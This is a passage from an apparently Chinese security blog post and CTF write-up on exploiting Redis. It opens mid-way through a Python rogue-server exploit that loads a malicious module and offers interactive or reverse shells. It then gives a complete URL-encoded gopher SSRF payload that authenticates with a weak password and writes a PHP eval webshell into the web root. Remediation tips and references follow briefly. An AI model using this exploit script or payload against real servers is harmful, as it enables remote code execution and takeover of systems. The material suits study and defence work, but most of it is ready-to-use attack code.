remote.do("SLAVEOF NO ONE") remote.do("CONFIG SET dbfilename dump.rdb") remote.shell_cmd(f"rm ./{SERVER_EXP_MOD_FILE}") rogue.close() # Operations here choice = input("What do u want, [i]nteractive shell or [r]everse shell: ") if choice.startswith("i"): interact(remote) elif choice.startswith("r"): reverse(remote) cleanup(remote) if __name__ == '__main__': print(BANNER) parser = OptionParser() parser.add_option("--rhost", dest="rh", type="string", help="target host", metavar="REMOTE_HOST") parser.add_option("--rport", dest="rp", type="int", help="target redis port, default 6379", default=6379, metavar="REMOTE_PORT") parser.add_option("--lhost", dest="lh", type="string", help="rogue server ip", metavar="LOCAL_HOST") parser.add_option("--lport", dest="lp", type="int", help="rogue server listen port, default 21000", default=21000, metavar="LOCAL_PORT") parser.add_option("--exp", dest="exp", type="string", help="Redis Module to load, default exp.so", default="exp.so", metavar="EXP_FILE") parser.add_option("-v", "--verbose", action="store_true", default=False, help="Show full data stream") (options, args) = parser.parse_args() global verbose, payload, exp_mod verbose = options.verbose exp_mod = options.exp payload = open(exp_mod, "rb").read() if not options.rh or not options.lh: parser.error("Invalid arguments") info(f"TARGET {options.rh}:{options.rp}") info(f"SERVER {options.lh}:{options.lp}") try: runserver(options.rh, options.rp, options.lh, options.lp) except Exception as e: error(repr(e))
還有Lua RCE,利用反序列化攻擊redis的,可以看Paper
為什么最近一些公眾號也在發redis,這也撞了哈哈
修復方法:
1、禁止使用root權限啟動redis服務。
2、對redis訪問啟動密碼認證。
3、添加IP訪問限制,並更改默認6379端口
參考鏈接:
https://paper.seebug.org/1169/#rce
https://joychou.org/web/phpssrf.html
http://www.91ri.org/17111.html
https://xz.aliyun.com/t/5665#toc-13
https://blog.csdn.net/qq_41107295/article/details/103026470
https://blog.csdn.net/fly_hps/article/details/80937837
https://www.runoob.com/redis/redis-commands.html
工具:
github搜索gopherus
環境:
docker部署(自己在里面安裝需要的):https://github.com/justonly1/DockerRedis/blob/master/redis/Dockerfile
centos7,kali的自行搭建
補充:SSRF認證攻擊
之前看到一道CTF題目,當時一臉懵沒有做出來,后來公告提示是需要打有弱密碼的redis,涉及到認證的環節,這里一起復現研究一下
首先配置環境
還是之前的redis環境,修改下/etc/redis.conf,將未授權修改為需要認證
sed -i "s/#requirepass 123123/requirepass 123456/g" /etc/redis.conf
然后重啟容器,讓他以更新完的redis.conf運行server端
看下之前的CTF題目
<?php $url = $_GET['url']; if(!isset($url)){ highlight_file(__FILE__); } if(stripos($url,'file')!==False) { exit; } $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt($ch,CURLOPT_RETURNTRANSFER,true); $output = curl_exec($ch); curl_close($ch); echo $output; ?>
過濾了file,提示需要打有弱密碼的redis,這里可以想到用gopher打很容易,但是這是認證的,於是掏出來之前看了但是沒復現的Smi1e寫的文章
這里先去獲取下認證的過程中的命令
socat轉發抓流量
socat -v tcp-listen:4444,fork tcp-connect:localhost:6379
容器中redis客戶端連接4444端口,執行寫shell的命令
查看抓到的數據流
root@1723dfb0f3f9:/# socat -v tcp-listen:4444,fork tcp-connect:localhost:6379 > 2020/09/16 15:26:06.144734 length=26 from=0 to=25 *2\r $4\r AUTH\r $6\r 123456\r < 2020/09/16 15:26:06.146383 length=5 from=0 to=4 +OK\r > 2020/09/16 15:26:06.146542 length=18 from=26 to=43 *1\r $8\r flushall\r < 2020/09/16 15:26:06.169564 length=5 from=5 to=9 +OK\r > 2020/09/16 15:26:39.866436 length=26 from=0 to=25 *2\r $4\r AUTH\r $6\r 123456\r < 2020/09/16 15:26:39.866607 length=5 from=0 to=4 +OK\r > 2020/09/16 15:26:39.866721 length=54 from=26 to=79 *4\r $6\r config\r $3\r set\r $3\r dir\r $13\r /var/www/html\r < 2020/09/16 15:26:39.871197 length=5 from=5 to=9 +OK\r > 2020/09/16 15:27:10.840838 length=26 from=0 to=25 *2\r $4\r AUTH\r $6\r 123456\r < 2020/09/16 15:27:10.841079 length=5 from=0 to=4 +OK\r > 2020/09/16 15:27:10.841502 length=60 from=26 to=85 *4\r $6\r config\r $3\r set\r $10\r dbfilename\r $11\r yunying.php\r < 2020/09/16 15:27:10.841636 length=5 from=5 to=9 +OK\r > 2020/09/16 15:28:04.747701 length=26 from=0 to=25 *2\r $4\r AUTH\r $6\r 123456\r < 2020/09/16 15:28:04.747917 length=5 from=0 to=4 +OK\r > 2020/09/16 15:28:04.748031 length=45 from=26 to=70 *3\r $3\r set\r $1\r x\r $18\r <?php eval([a]);?>\r < 2020/09/16 15:28:04.748136 length=5 from=5 to=9 +OK\r > 2020/09/16 15:28:12.665580 length=26 from=0 to=25 *2\r $4\r AUTH\r $6\r 123456\r < 2020/09/16 15:28:12.665823 length=5 from=0 to=4 +OK\r > 2020/09/16 15:28:12.665946 length=14 from=26 to=39 *1\r $4\r save\r < 2020/09/16 15:28:12.671319 length=5 from=5 to=9 +OK\r
可以發現每次帶上密碼認證連接然后執行命令都會掉上這一段
*2\r $4\r AUTH\r $6\r 123456\r
從Smi1e的師傅里有介紹redis的一個特性
Redis客戶端支持管道操作,可以通過單個寫入操作發送多個命令,而無需在發出下一個命令之前讀取上一個命令的服務器回復。所有的回復都可以在最后閱讀。
這也是Redis在認證情況下依然可以被攻擊到原因。
因此我們只需要在開頭加上這一段認證的數據流,gopher協議一樣可以打需要認證的弱密碼redis服務器
首先通過gopherus生成exp
然后再開頭添加上urlencode后的認證數據流,以RESP協議的格式
gopher://127.0.0.1:6379/_*2 $4 AUTH $6 123456 *1 $8 flushall *3 $3 set $1 1 $28 <?php eval($_POST[a]);?> *4 $6 config $3 set $3 dir $13 /var/www/html *4 $6 config $3 set $10 dbfilename $9 shell.php *1 $4 save
gopher://127.0.0.1:6379/_%2A2%0D%0A%244%0D%0AAUTH%0D%0A%246%0D%0A123456%0D%0A%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2428%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5Ba%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
再容器中測試
成功寫入shell.php
、
遠程測試成功執行
Redis客戶端支持管道操作,可以通過單個寫入操作發送多個命令,而無需在發出下一個命令之前讀取上一個命令的服務器回復。所有的回復都可以在最后閱讀。
這也是Redis在認證情況下依然可以被攻擊到原因。
補充:通過CVE-2019-9740攻擊redis
https://www.mi1k7ea.com/2020/03/09/Python-urllib-CRLF%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%B0%8F%E7%BB%93/#Redis%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%E6%BC%8F%E6%B4%9E